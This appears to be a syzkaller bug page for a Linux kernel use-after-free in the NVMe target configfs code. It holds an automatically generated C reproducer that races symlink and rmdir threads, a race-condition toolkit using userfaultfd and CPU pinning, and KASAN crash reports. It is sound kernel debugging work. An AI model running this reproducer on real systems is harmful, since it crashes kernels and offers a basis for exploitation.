            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to create subsys1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created subsys1 successfully.\n");

    pthread_t t1[4], t2[4];
    
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    printf("[+] Done.\n");
    return 0;
}
ReproducedBugTitle
KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link
ReproducedCrashReport
==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff8881987a64c8 by task syz-executor991/5855

CPU: 0 UID: 0 PID: 5855 Comm: syz-executor991 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x410 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f91233b0459
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f91213771f8 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007f912341d028 RCX: 00007f91233b0459
RDX: 00007f912341d028 RSI: 00000000ffffff9c RDI: 00007f912341d060
RBP: 00007f912341d060 R08: 00007f91213776c0 R09: 00007f91213776c0
R10: 00007f91213776c0 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000010 R14: 00007ffd84d38b60 R15: 00007ffd84d38c48
 </TASK>

Allocated by task 5852:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x331/0x660 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x40c/0x620 fs/namei.c:5410
 filename_mkdirat+0x285/0x510 fs/namei.c:5443
 __do_sys_mkdir fs/namei.c:5470 [inline]
 __se_sys_mkdir+0x34/0x150 fs/namei.c:5467
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 5854:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x640 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e6/0x6a0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_rmdir fs/namei.c:5595 [inline]
 __se_sys_rmdir+0x2e/0x140 fs/namei.c:5592
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff8881987a6000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff8881987a6000, ffff8881987a7000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1987a0
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x57ff00000000040(head|node=1|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 057ff00000000040 ffff888100042140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 057ff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 1, tgid 1 (swapper/0), ts 16197662015
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2209/0x2280 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x217/0x5a0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d5/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x2c3/0x6b0 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __kmalloc_cache_noprof+0x3ab/0x660 mm/slub.c:5480
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 kobject_uevent_env+0x289/0x9e0 lib/kobject_uevent.c:543
 kernel_add_sysfs_param+0xb1/0xe0 kernel/params.c:803
 param_sysfs_builtin+0x199/0x250 kernel/params.c:838
 param_sysfs_builtin_init+0x23/0x30 kernel/params.c:974
 do_one_initcall+0x250/0x870 init/main.c:1353
 do_initcall_level+0x10a/0x1a0 init/main.c:1415
 do_initcalls+0x59/0xa0 init/main.c:1431
 kernel_init_freeable+0x29d/0x3e0 init/main.c:1666
 kernel_init+0x22/0x1d0 init/main.c:1556
page last free pid 10 tgid 10 ts 15528039329 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 free_pages_prepare+0x9b2/0xa90 mm/page_alloc.c:1463
 __free_contig_range_common+0x174/0x340 mm/page_alloc.c:7060
 __free_contig_range mm/page_alloc.c:7105 [inline]
 free_pages_bulk+0x48/0x120 mm/page_alloc.c:5322
 vm_area_free_pages mm/vmalloc.c:3462 [inline]
 vfree+0x226/0x4a0 mm/vmalloc.c:3511
 delayed_vfree_work+0x55/0x80 mm/vmalloc.c:3415
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0x92d/0xe10 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Memory state around the buggy address:
 ffff8881987a6380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff8881987a6400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff8881987a6480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff8881987a6500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff8881987a6580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

Crash report:
==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff88801af304c8 by task syz.2.79/6124

CPU: 1 UID: 0 PID: 6124 Comm: syz.2.79 Not tainted syzkaller #0 PREEMPT_{RT,(full)} 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x420 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fcbe476e0d9
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fcbe29c6028 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007fcbe49f5fa0 RCX: 00007fcbe476e0d9
RDX: 0000200000000600 RSI: ffffffffffffff9c RDI: 00002000000005c0
RBP: 00007fcbe4805024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007fcbe49f6038 R14: 00007fcbe49f5fa0 R15: 00007fffa285bf38
 </TASK>

Allocated by task 6060:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x3da/0x6b0 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x408/0x620 fs/namei.c:5410
 filename_mkdirat+0x289/0x520 fs/namei.c:5443
 __do_sys_mkdirat fs/namei.c:5464 [inline]
 __se_sys_mkdirat+0x35/0x150 fs/namei.c:5461
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6127:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2678 [inline]
 slab_free mm/slub.c:6372 [inline]
 kfree+0x1c5/0x6d0 mm/slub.c:6687
 config_item_cleanup fs/configfs/item.c:128 [inline]
 config_item_release+0x13a/0x2d0 fs/configfs/item.c:137
 configfs_rmdir+0x885/0x950 fs/configfs/dir.c:1571
 vfs_rmdir+0x3e9/0x6b0 fs/namei.c:5515
 filename_rmdir+0x292/0x520 fs/namei.c:5572
 __do_sys_unlinkat fs/namei.c:5747 [inline]
 __se_sys_unlinkat+0x71/0x1a0 fs/namei.c:5740
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88801af30000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 1224 bytes inside of
 freed 4096-byte region [ffff88801af30000, ffff88801af31000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1af30
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0x80000000000040(head|node=0|zone=1)
page_type: f5(slab)
raw: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000040 ffff88813ffbc140 dead000000000100 dead000000000122
head: 0000000000000000 0000000800040004 00000000f5000000 0000000000000000
head: 0080000000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2040(__GFP_IO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 5585, tgid 5585 (syz-executor), ts 106684716313
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2591/0x2600 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x230/0x5c0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3267 [inline]
 allocate_slab+0x7c/0x5e0 mm/slub.c:3382
 new_slab mm/slub.c:3428 [inline]
 refill_objects+0x2d8/0x350 mm/slub.c:7305
 refill_sheaf mm/slub.c:2805 [inline]
 __pcs_replace_empty_main+0x334/0x690 mm/slub.c:4677
 alloc_from_pcs mm/slub.c:4775 [inline]
 slab_alloc_node mm/slub.c:4907 [inline]
 __do_kmalloc_node mm/slub.c:5336 [inline]
 __kmalloc_noprof+0x54c/0x780 mm/slub.c:5362
 _kmalloc_noprof include/linux/slab.h:992 [inline]
 tomoyo_realpath_from_path+0xef/0x640 security/tomoyo/realpath.c:251
 tomoyo_get_realpath security/tomoyo/file.c:151 [inline]
 tomoyo_path_perm+0x283/0x560 security/tomoyo/file.c:827
 security_inode_getattr+0x12b/0x310 security/security.c:1895
 vfs_getattr+0x23/0x70 fs/stat.c:259
 vfs_statx_path+0x2b/0x230 fs/stat.c:299
 vfs_statx+0x12e/0x200 fs/stat.c:356
 vfs_fstatat+0x11b/0x170 fs/stat.c:373
 __do_sys_newfstatat fs/stat.c:538 [inline]
 __se_sys_newfstatat fs/stat.c:532 [inline]
 __x64_sys_newfstatat+0x151/0x200 fs/stat.c:532
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
page last free pid 5783 tgid 5783 ts 106512362313 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_frozen_pages+0xf8e/0x1070 mm/page_alloc.c:2962
 __slab_free+0x252/0x2a0 mm/slub.c:5736
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x99/0x100 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x148/0x160 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x22/0x80 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4586 [inline]
 slab_alloc_node mm/slub.c:4919 [inline]
 kmem_cache_alloc_noprof+0x35d/0x660 mm/slub.c:4933
 alloc_filename fs/namei.c:147 [inline]
 do_getname+0x2e/0x250 fs/namei.c:187
 class_filename_flags_constructor include/linux/fs.h:2587 [inline]
 do_sys_openat2+0xcc/0x200 fs/open.c:1416
 do_sys_open fs/open.c:1423 [inline]
 __do_sys_openat fs/open.c:1439 [inline]
 __se_sys_openat fs/open.c:1434 [inline]
 __x64_sys_openat+0x138/0x170 fs/open.c:1434
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff88801af30380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88801af30480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                              ^
 ffff88801af30500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff88801af30580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

Trajectory: (Expand/Collapse All)
Seq Timestamp Type Name Duration
0/0 2026/08/26 17:40 flow repro-c
54m Results:
map[EquivalenceAnalysis:The reproducer successfully triggered the expected KASAN slab-use-after-free in nvmet_port_subsys_allow_link. The crash signature and stack trace match the original bug description exactly. OtherCrashReports:<nil> ReproC:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <time.h>
#include <errno.h>
#include <string.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        if (syscall(SYS_symlinkat, "/sys/kernel/config/nvmet/subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    struct stat st;
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to create subsys1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created subsys1 successfully.\n");

    pthread_t t1[4], t2[4];
    
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    printf("[+] Done.\n");
    return 0;
}
 Reproduced:true ReproducedBugTitle:KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link ReproducedCrashReport:==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff8881987a64c8 by task syz-executor991/5855

CPU: 0 UID: 0 PID: 5855 Comm: syz-executor991 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x410 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f91233b0459
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d0 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f91213771f8 EFLAGS: 00000246 ORIG_RAX: 000000000000010a
RAX: ffffffffffffffda RBX: 00007f912341d028 RCX: 00007f91233b0459
RDX: 00007f912341d028 RSI: 00000000ffffff9c RDI: 00007f912341d060
RBP: 00007f912341d060 R08: 00007f91213776c0 R09: 00007f91213776c0
R10: 00007f91213776c0 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000010 R14: 00007ffd84d38b60 R15: 00007ffd84d38c48
 </TASK>

Allocated by task 5852:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x331/0x660 mm/slub.c:5484
 _kmalloc_noprof include/linux/slab.h:988 [inline]
 _kzalloc_noprof include/linux/slab.h:1309 [inline]
 nvmet_ports_make+0xe6/0xf00 drivers/nvme/target/configfs.c:2051
 configfs_mkdir+0x4f6/0x9e0 fs/configfs/dir.c:1360
 vfs_mkdir+0x40c/0x620 fs/namei.c:5410
 filename_mkdirat+0x285/0x510 fs/namei.c:5443
 __do_sys_mkdir fs/namei.c:5470 [inline]
 __se_sys_mkdir+0x34/0x150 fs/namei.c:5467
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 5854:
